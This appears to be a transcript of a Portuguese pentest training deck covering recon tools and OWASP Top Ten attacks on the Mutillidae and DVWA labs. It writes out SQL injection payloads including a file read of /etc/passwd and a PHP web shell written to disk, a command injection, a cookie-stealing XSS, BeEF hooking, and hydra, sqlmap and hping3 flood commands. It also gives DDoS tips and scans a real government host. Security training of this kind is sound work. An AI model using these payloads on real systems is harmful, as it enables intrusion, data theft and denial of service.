Teste de segurança do lado servidor - Nível 1
-
Upload
kleitor-franklint-correa-de-araujo -
Category
Technology
-
view
70 -
download
2
Transcript of Teste de segurança do lado servidor - Nível 1
Kleitor Franklint
Pentest App Servidor Nivel 1
Teste de segurança: Técnicas de Verificação
Falsos Positivos, Falsos Negativos, Camadas indetectáveis.
Aplicaçã
o
RISCOS
Testes de segurança: Análise de resultado
Aplicaçã
o
RISCOS
CRITICIDADE, IMPACTO, PROBABILIDADE
IMPLICAÇÕES
RECOMENDAÇÕES
-Modelagem de ameaças
-Interações pré- noivado ( escopo, objetivo, reuniões)
-Coleta de informação ( analisadores, eng. Social, etc)
-Análise de Vulnerabilidade
-Exploitation ( explorar para tirar vantagem)
-Pós Exploitation ( mais analise e decisão )
-Relatórios
Fases de um Pentest
Coleta de informações
NMAP é o rei Fonte: https://nmap.org/book/nse.html
-Que informações queremos?
-Que portas estão abertas?
-Que informações podemos aproveitar e pra quê? Usando o help: nmap --help Use o grep: nmap | grep -i script
nmap -A <target>
nmap -T5 <target>
nmap -F -sV <target>
De olho na latência!!!
NMAP: alguns exemplos do uso
Interface gráfica: zenmap
locate *.nse - localizando scripts locate *vuln*.nse nmap --script mysql-vuln-cve2012-2122.nse <target> nmap -sV --script=banner <target>
Escreva seus próprios scripts https://nmap.org/book/nse-tutorial.html
NMAP: Usando scripts ( O foco )
Coleta de informações – Web Servers
Nikto-webserver scanner http://www.tecmint.com/nikto-a-web-application-vulnerability-and-cgi-scanner-for-
web-servers/
Coleta de informações
Exemplo
Nikto -h <target> -o report-nikto.txt Usando o help Definindo portas:
-p 80,443 - especificas -p 80-443 – range Testar no webscantest.com -Atenção ao bloqueio do primeiro ataque -Bancos de vulnerabilidades: www.osvdb.org
Scan de vulnerabilidades
Sintaxe geral: skipfish <parametros> -o /<dir> <target>
skipfish -r 1000 -o /result-skipfish <target> Obs: apagar diretório antes do próximo scan.
Dicionários:
skipfish -r 1000 -o /result-skipfish3 -S /usr/share/skipfish/dictionaries/complete.wl <target>
Um pouco mais sobre dicionários https://github.com/spinkham/skipfish/blob/master/doc/dictionaries.txt
https://github.com/spinkham/skipfish
O lado cliente da força
HackBar :: Complementos para o Firefox - Add-ons
Apresentando o OWASP Mutillidae II
/documentation/mutillidae-test-scripts.txt
A1- FALHAS DE INJEÇÃO
Ataques via browser ou prompt:
SQL Injection: comandos SQL
XSS Injection: Javascript e HTML
Outros: command Injection, LDAP, XML, etc.
Injeta-se uma query SQL na aplicação usando um navegador web comum.
IMPACTO Criar, ler, atualizar ou excluir qualquer dado disponível para a aplicação através de SQL; Ganhar acesso a recursos restritos de S.O e rede; Conectar-se a sistemas como se fosse um usuário autorizado, driblando a necessidade de uma senha.
SQL Injection Cenários: CAMPOS EDITÁVEIS OU NÃO, UPLOAD MALIOSOS,
CSS maliciosos, etc.
Comportamento: Estímulo / resposta
Error based: erro como resposta Time based: Blind Injection, tempo como resposta
A técnica básica: -Mudar o comportamento do comando através concatenadores e comentários
-Primeiro, testar qual símbolo pode quebrar a string: aspas, apóstrofos, parênteses
SQL Injection
Práticas -Bypass de autenticação -Bypass de operações -SQlI com XSS -Leitura de arquivos -Shells maliciosos
SQL Injection – Error based
Bypass de autenticação http://localhost/mutillidae/index.php?page=login.php
User: joao' or 1=1# -Qual o comportamento? -Que informações trouxe? -De que usuário e perfil são as informações? -Onde as vejo? -Como as vejo? Exercício 1: testar no campo senha Exercício 2: logar com usuário Jeremy
SQL Injection – Error based
Bypass de operações - inserção http://localhost/mutillidae/index.php?page=add-to-your-blog.php&popUpNotificationCode=SUD1
-Qual o comportamento da funcionalidade?
-Qual payload quebra a app?
-Que operação ela realiza?
-Quantos campos ela tem, de que tipo, em que ordem?
-Onde se vê o resultado? payload Hacked','2022-06-01 12:00:01')#
SQL Injection – Error based
SQLí e XSS
SQL Injection – Error based
http://localhost/mutillidae/index.php?page=user-info.php Brincando com union ' union select 1,2,3,4,5,6,7# Descobrindo o numero de colunas Em que coluna encaixar o ataque?
SQLI- XSS – funções mysql de string A vantagem sobre os escapes contra XSS Payload ' union select 1,2,CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62),4,5,6,7#
SQlI – lendo arquivos do host http://localhost/mutillidae/index.php?page=user-info.php -Que funcionalidades buscar pra fazer este ataque? -Que arquivos são interessantes? -Que funções usar do SGBD para o ataque? Payload ' UNION ALL SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5,6,7 #
SQL Injection – Error based
SQli – Upload malicioso e command injection <HTML> <HEAD> <TITLE>Simple PHP Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text" name="comando"/> <input name="submit" type=submit value=”executar"> </FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo "</pre>"; ?> </BODY> </HTML>
SQL Injection – Error based
SQlí – Upload malicioso e command injection ' union select null,null,null,null,null,null,'<HTML> <HEAD> <TITLE>Simple PHP Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text" name="comando"/> <input name="submit" type=submit value=”executar"> </FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo "</pre>"; ?> </BODY> </HTML>' into dumpfile '/opt/lampp/htdocs/mutillidae/shell.php'# Executar o shell.php -Por que a vulnerabilidade funcionou? -O que aprendemos aqui? -Quais OWASP TOP TEN
SQL Injection – Error based
-Estratégias para descobrir numero de colunas com time based
-Quando o erro não aparece no browser nem no proxy http://localhost/mutillidae/index.php?page=user-info.php ' union select 1,2,3,4,5,6,sleep(5)# Exercício no login - Realizar um ataque DOS usando sleep()
SQLi- Blind Injection – Time based
SQL-Map http://sqlmap.org/
-Quando usar o sqlmap?
-Por que demora tanto a encontrar?
-Por que por vezes não encontra nada?
-Em que momento do ciclo do pentest usa-lo?
-Qual a estratégia de investigação? O que eu quero descobrir
-Que dificuldades existem na formação da string de ataque e como resolvê-los.
-Como passar parâmetros diversos? Sintaxe e manutenção
-Quando o numero de threads é importante?
SQL-Map http://sqlmap.org/
Amplo, geral, lento e vago sqlmap -u <host> Mais objetivo sqlmap -u <host> dbms=MYSQL Ainda falta algo.. sqlmap -u <host> dbms=MYSQL <o que fazer quando achar>
SQL-Map
O que fazer quando achar? --dbs -D banco-de-dados –table -T tabela --columns -T tabela --dump
Exemplos:
sqlmap -u <host> --dbs
sqlmap -u <host> -D <banco-de-dados> --table
sqlmap -u <host> -T tabela --dump
sqlmap -u <host> -T tabela --columns
Análise aprofundada
sqlmap -u <host> --level 5 --risk 4 --passwords -v 1 –time-sec=4
SQL-Map
Custo de manutenção e êxito no ataque -Como capturar todos os dados necessários para privilégios pós-login?
-Como capturar cookies? Roubo de sessão
-Como resolver problemas de parâmetros concatenados com "+"
Usando um arquivo de autenticação e parâmetros. Quais parâmetros? Capturar a página user-info: admin&adminpass Quando capturar? O que capturar? sqlmap -r /opt/user-request.txt dbms=MYSQL --dbs
SQL-Map
SQL-Map
Exemplo de uso
sqlmap -r /opt/user-request.txt dbms=MYSQL –dbs
sqlmap -r /opt/user-request.txt dbms=MYSQL -D nowasp --table
sqlmap -r /opt/user-request.txt dbms=MYSQL -T accounts --dump
Prametros para decodificação de senhas
Técnicas de prâmetros https://github.com/sqlmapproject/sqlmap/wiki/Techniques
Bypass de wafs https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423
SQL-Map http://sqlmap.org/
Scan de vulnerabilidades
Ataques -Inicio Rápido: active scan
-Configurando o proxy
-Ofuscação
-Relatórios
-O escopo de teste: domínio, spider
-Varredura ativa e alertas: cores e grupos
-Falso positos e negativos
-Scanner através de proxy: vantagens
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Add on
Proxy selector
Proxy Selector :: Complementos para o Firefox - Add-ons - Mozilla
A1- Commando Injection
DVWA
127.0.0.1 && ls /opt
127.0.0.1 && net start telnet
A2- QUEBRA DE AUTENTICAÇÃO E GERENCIAMENTO DE SESSÃO
Cenários: vazamentos ou falhas em funções de autenticação ou gerenciamento de sessão para assumir a identidade de outro usuário. Alvos: contas expostas, senhas fracas, ID de sessão capturáveis ou de baixa randomização,
IMPACTO
A2- Quebra de sessão e gerenciamento de sessão
Tudo o que possa roubar a sessão: A1...A10
A2- Quebra de sessão e gerenciamento de sessão
Bypass de autenticação por cookies: validade, etc.
Cookies manager, firebug
A3-CROSS-SITE SCRIPTING (XSS)
Executar scripts cliente (Javascript, Flash Script, HTML, etc) de forma direta ( no meu browser) ou remota ( no browser da vítima).
•Roubar sessões de usuário;
•Pichar sites Web;
•Introduzir worms, zumbis, etc;
•Negação de serviço.
IMPACTO
A3- XSS Tipos: Armazenado, Refletido
Bypass
-Se a sanitização estiver na pagina cliente, repassar via proxy
-Se a sanitização for para texto plano, repassar ofuscado
A3- XSS
Onde? -No browser como favorito -No cookies: campo “content”
Payloads: javascript:alert(document.cookie) javascript:(document.cookie)
Javascript ou <script>?
Resultado: http://localhost/mutillidae/index.php?page=capture-data.php
A3- XSS
Use um proxy e ofusque. Por que?
Pagina de login, codificar como URL. O problema do “+”
Depurar e Codificar com o owasp-zap para url e substituir no login.
<script>document.location="http://localhost/mutillidae/index.php?page=captured-data.php&c="+document.cookie</script>
Resultado: http://localhost/mutillidae/index.php?page=capture-data.php
A3- XSS persistente -stored
Onde?
http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Exemplos:
-<a href="#" onclick="alert(document.cookie);">veja aqui sua resposta</a>
-Injetando a pagina de login do mutillidae com firebug
A3- XSS
http://beefproject.com/
-HACKING; -Exploit; -Coleta de informações
INICIALIZANDO O BEEF Usar o menu já dispara o servidor e exploit panel: beef, beef
A3- XSS – BEEF
Usando o beef to exploit http://127.0.0.1:3000/ui/authentication http://localhost:3000/hook.js Onde? http://localhost/mutillidae/index.php?page=dns-lookup.php
A3- XSS – BEEF
Beef – Hook e comandos
-Que informações obtenho? -Coleta de informações. -As cores
Enviando um :
-alert -fake flash update -Fake notification bar -Pretty Theft
Session hijacking descreve todos os métodos de um atacante poder acessar a session de um outro usuário.
A2- Quebra de sessão e gerenciamento de sessão
Scanner com Owasp-zap Fuzzer: Sqli, XSS, etc
-Escolha de payload e parametrizações eficazes
-Diretorio de scripts
-Outros recursos: chamar terceiros internamente: sqlmap, etc
Exercícios
Atacando a autenticação – força bruta Etapas: -Observar comportamento para formação de senha -Gerar lista de senhas -Preparar a estratégia passiva ou ativa de ataque -Realizar ataque força bruta Saber mais: prevent brute-force attack Information Security The Complete Reference, 2nd Edition
A2- Quebra de sessão e gerenciamento de sessão
Gerando listas -Cuidado com listas geradas do lado cliente: como box, listboxes,
Default Password List, etc.
-Como construir listas rapidamente?
-O que posso obter?
-O que mais posso obter com a criação de listas
-Quantas listas preciso para atacar?
-A importancia da engenharia social na formação de senhas
Atacando a autenticação
Atacando a autenticação
Gerar listas para o ataque -Use geradores de CPF
Na internet: https://packetstormsecurity.com/Crackers/wordlists/
http://www.openwall.com/wordlists/
No kali ls /usr/share/wordlists/
Geradores de lista para ataque de autenticação
Atacando a autenticação
crunch
cewl
Gerar listas para o ataque cewl -d 2 -m 5 -w docswords.txt <host> cewl -v -d 3 -m 3 -w docswords.txt --meta --meta_file=meta.txt --email --email_file=emails.txt http://localhost/muttilidae
https://digi.ninja/projects/cewl.php
Sintaxe: crunch <min> max<max> <characterset> -t <pattern> -o <output filename> man crunch Ver: http://www.backtrack-linux.org/forums/showthread.php?t=39232 Exemplos:
crunch 4 6 1234567890 -o wordlist4-6.txt
crunch 9 9 -t admin@@@@ -o pass-list.txt
Gerar listas para o ataque
HYDRA
hydra -l admin -P passlist.txt 127.0.0.1 http-post-form
"/mutillidae/index.php?page=login.php:username=^USER^&passwo
rd=^PASS^&login-php-submit-button=Login:Not Logged In"
A2- Quebra de sessão e gerenciamento de sessão
Para senhas de S.O john para decodificar senhas http://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
A2- Quebra de sessão e gerenciamento de sessão
Ataque de força bruta – reflexões -Ataque simples é o que passa a autenticação em texto plano ao invés de cookies
-performance é importante?
-Use um ataque por proxy burpsuite com for interno
A4- Referência insegura a objetos A5- Erro de configuração de segurança
A4 e A5
File injection: Upload irrestrito, LFI, RFI Ver: /etc/passwd Exercício: -Tentar escalada de privilégios: executar um php que não pode pela via direta - LFI -Listar membros da intranet - RFI
http://localhost/mutillidae/index.php?page=text-file-viewer.php
A4-REFERÊNCIA INSEGURA DIRETA A OBJETOS
Alterar parâmetros aplicação web via URL do browser, campo da aplicação ou prompt. O usuário pode ser autorizado ou não.
Quebra de limites e restrições a arquivos, diretórios, banco de dados, etc. Exemplos:
• Votar ou marcar consultas quantas vezes quiser;
• Acessar conta de um usuário alterando um ID;
• Ter acesso a funcionalidades de maior privilégio.
IMPACTO
http://example.com/app/accountInfo?IdConta=1
A5- CONFIGURAÇÃO INCORRETA DE SEGURANÇA Refere-se à configurações de segurança incorretas ou não implementadas, isso
inclui manter atualizados software e suas partes. Utiliza-se demais técnicas de
ataque.
Cenários:
• Contas padrão;
• Páginas não utilizadas;
• Falhas não corrigidas;
• Arquivos e diretórios desprotegidos;
• Padrões de nomes fracos,
• Padrões de senha fracos, etc.
• Relações internas e externas.
• Captchas de baixa randomização e complexidade.
IMPACTO
A4 e A5
File injection -upload irrestrito -Scripts maliciosos -Imagens maliciosas -Mudando header para atacar Exemplo e exercício https://r57.gen.tr/
C99.php
Reports
Agile Top Ten
Sessões exploratórias e reports
A6- EXPOSIÇÃO DE DADOS SENSÍVEIS
Ausência ou inadequação da proteção aplicações web a dados sensíveis: Trânsito, armazenamento e exposição ( banco de dados, scripts clientes e servidores). Ex. dados sensíveis: cartões de crédito, IDs fiscais e credenciais de autenticação.
IMPACTO • Fraudes no cartão de crédito;
• Roubo de identidade.
• Ganho de privilégios
Criptografar: armazenamento (memoria e disco), transito Para: -Garantir a identidade de uma ou ambas as partes -Evitar a violação de dados -Evitar ataques de replay SSL+TSL =SSL/TSL-→ HTPS-→ 403
A6- Exposição de dados sensíveis
Entendendo o básico SSL/TSL http://blog.siteblindado.com/2014/02/07/tls-ssl-diferencas-protocolos/ Cifras http://ptcomputador.com/Networking/network-security/75984.html#.V3UOnYaZeit Livro Penetration testing A Hands-On Introduction to Hacking
A6- Exposição de dados sensíveis
O que testar?
-Criptografia: A implementação usa um conjunto de padrão e cifra de segurança forte?
-Identidade: A execução verifica a identidade do servidor corretamente e completamente?
-Violação de dados: a implementação protege totalmente os dados do usuário para a duração da sessão do usuário?
-Ataques de replay: A implementação contém um método para impedir? Man-In-The-Middle (MitM)
A6- Exposição de dados sensíveis
O que testar? Plano de teste
https://www.owasp.org/index.php/Testing_for_SSL-TLS_(OWASP-CM-001)
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insuffi
cient_Transport_Layer_Protection_(OTG-CRYPST-001)
A6- Exposição de dados sensíveis
Determinar versão e existência: nmap -sV expresso.am.gov.br Identificar cifras fracas e protocolos: analisadores: Nessus, analisadores on line sslscan --no-failed expresso.am.gov.br openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443 https://www.openssl.org/docs/manmaster/apps/s_client.html
tlssled expresso.am.gov.br 443 http://www.pentesterscripting.com/discovery/ssl_tests
O que testar? Plano de teste
Analise de SSl/TSL - reports Análise geral e força da cifra https://www.ssllabs.com/ssltest/ Analisa SSLv3 and TLSv1 Protocol Weak CBC https://pentest-tools.com/network-vulnerability-scanning/ssl-poodle-scanner OpenSSL DROWN vulnerability scanner https://pentest-tools.com/network-vulnerability-scanning/drown-ssl-scanner Check your SSL/TLS certificate installation https://cryptoreport.websecurity.symantec.com/checker/views/certCheck.jsp
Suporte do browser
Lado cliente: alertas do browser, certificados e suporte Suporte a SSL3 - testa para ver se conecta no site Disabling Browser Support - SSL v3 Protocol https://blog.mozilla.org/security/2014/10/14/the-poodle-attack-and-the-end-of-ssl-3-0/
Testando suporte a ssl3 https://www.poodletest.com/
Habilitar ssl about:config
A6- Exposição de dados sensíveis
SSLSTRIP - MItM
Não veremos aqui
SSSTRIPS ( sslstrip e Ettercap) http://www.100security.com.br/capturando-senhas-com-sslstrip-e-bloquear-o-ataque-com-arpon/ http://www.nanoshots.com.br/2015/09/capturando-senhas-com-social.html
A7- FALTA DE FUNÇÃO PARA CONTROLE DO NÍVEL DE ACESSO O atacante é um usuário autorizado no sistema, que simplesmente muda a URL ou um parâmetro de função privilegiada com o propósito de acessar a funcionalidade sem autorização adequada.
Necessário validar no servidor cada função invocada.
IMPACTO
Tipos: vertical, horizontal Escalada horizontal Estado de login / logout. http://localhost/mutillidae/index.php?popUpNotificationCode=AU1 http://localhost/mutillidae/index.php?page=login.php&popUpNotificationCode=LOU1 Escalada Vertical
-Mudar valor cookie ou requisição para obter privilégios: Owasp-zap, firebug, tags
-Acessar o site por troca de url ( linha de comando do browser, proxy)
-Acessa funcionalidade pro troca do nome de funcionalidade, padrões e parâmetros
-Ganhar privilegio pós-login por alteração e arquivos clientes de configuração de privilégios
A7- falta controle de acesso de nível de função
Analise de vulnerabilidade
Para executar: W3af Configurar: ataque e relatório; Criar próprio script Para mais: https://media.readthedocs.org/pdf/w3af/latest/w3af.pdf
A8- REQUISIÇÃO REMOTA FORJADA (CSRF)
CENÁRIOS
• Requisições não validadas em aplicações; • Links em e-mails; • Mensagens em forums, etc; • Clones de sites.
Forjar requisições HTTP falsas através de XSS ou engenharia social, além de inúmeras outras técnicas. Se o usuário estiver autenticado, o ataque é bem sucedido.
IMPACTO
A8-Requisição remota forjada (CSRF) Testar no owasp –zap: add your blog http://tipstrickshack.blogspot.com.br/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html https://pt.wikipedia.org/wiki/Cross-site_request_forgery https://www.youtube.com/watch?v=GoNKI6dlD80 Black Hat 2013 - Dissecting CSRF Attacks and Countermeasures
A9- UTILIZAÇÃO DE COMPONENTES VULNERÁVEIS CONHECIDOS
O atacante identifica um componente vulnerável através de varredura ou análise manual e ataca a aplicação através dele. Malwares também assumem esse comportamento.
IMPACTO
A9-Uso de componentes com vulnerabilidades conhecidas
Wpscan – usando como um profissional wpscan -u <host> wpscan -u <host> --enumerate t, u,p, vt,vp wpscan -u <host> -e u,p -f wpscan -u <host> --enumerate u -t 4 wpscan -u <host> -e u -t 4
Aplicações Web frequentemente redirecionam e encaminham os usuários para outras páginas e sites e usam dados não confiáveis para determinar as páginas de destino.
A10- REDIRECIONAMENTOS E ENCAMINHAMENTOS INVÁLIDOS.
Sem validação adequada, os atacantes podem redirecionar vítimas a sites de phishing ou malware, ou encaminhar para acessar páginas não autorizadas.
Exercícios: http://192.168.1.66/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.owasp.org http://localhost/mutillidae/index.php?page=http://www.owasp.org Mais sobre ataques: https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
A10- REDIRECIONAMENTOS E ENCAMINHAMENTOS INVÁLIDOS.
Algumas coisas úteis: Owasp-zap – compare request-response Add on para pentest
Wappalyzer – por quê?
DOS denial-of-service (DoS) ou distributed denial-of-service (DDoS) attack Um bom ataque:
-Pluralizar a fonte: multiplos zumbis -Sobrecarregar: múltiplas threads, múltiplos alvos -Tentar bypass da análise: -slow DOS -Ip de confiança _Por dentro da app -Radomização da anonimidade
Tipos de ataque -Baseada em volume -Baseado no protocolo Recursos do servidor ao invés de largura de banda, indo para e partir do servidor equipamento periférico -Ataques de camada de aplicativo Alvo é a camada de aplicação Slow Dos at all : Slowloris
Para saber mais
-https://www.blackmoreops.com/2015/04/21/denial-of-service-attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/
-https://www.verisign.com/pt_BR/security-services/ddos-protection/types-of-ddos-attacks/index.xhtml
-https://www.rivalhost.com/12-types-of-ddos-attacks-used-by-hackers/
-https://www.incapsula.com/ddos/ddos-attacks/
-http://null-byte.wonderhowto.com/how-to/hack-like-pro-denial-service-dos-tools-techniques-0165699/
-https://nmap.org/nsedoc/scripts/http-slowloris-check.html
Como saber se funcionou? latência demasiada, queda do serviço
Hping3 hping3 -S --flood -V 127.0.0.1 hping3 --flood -V --rand-source localhost